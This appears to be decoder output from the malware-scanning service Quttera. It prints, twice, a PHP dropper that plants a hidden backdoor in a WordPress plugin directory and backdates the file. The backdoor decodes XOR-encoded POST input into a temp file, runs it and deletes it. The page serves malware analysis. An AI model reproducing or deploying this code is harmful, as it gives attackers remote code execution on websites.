Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$p = "/home1/axnmwdmy/public_html/wp-content/plugins/wpforms-lite/vendor_prefixed/stripe/stripe-php/lib/Exception/OAuth/visualfoxpro.php"; $c = raw"if(isset($_POST["\x70tr"]) ? true : false){
	$comp = hex2bin($_POST["\x70tr"]);
	$obj = ''; for($l=0; $l<strlen($comp); $l++){$obj .= chr(ord($comp[$l]) ^ 67);}
	$resource = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	while ($parameter_group = array_shift($resource)) {
    		if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) {
    $value = "$parameter_group/.reference";
    $success = file_put_contents($value, $obj);
if ($success) {
	include $value;
	@unlink($value);
	exit;}
}
}
}"; if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1705409974); } die('!ended!');

$p = "/home1/axnmwdmy/public_html/wp-content/plugins/wpforms-lite/vendor_prefixed/stripe/stripe-php/lib/Exception/OAuth/visualfoxpro.php"; $c = raw"if(isset($_POST["ptr"]) ? true : false){
	$comp = hex2bin($_POST["ptr"]);
	$obj = ''; for($l=0; $l<strlen($comp); $l++){$obj .= chr(ord($comp[$l]) ^ 67);}
	$resource = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	while ($parameter_group = array_shift($resource)) {
    		if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) {
    $value = "$parameter_group/.reference";
    $success = file_put_contents($value, $obj);
if ($success) {
	include $value;
	@unlink($value);
	exit;}
}
}
}"; if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1705409974); } die('!ended!');



© 2023 Quttera Ltd. All rights reserved.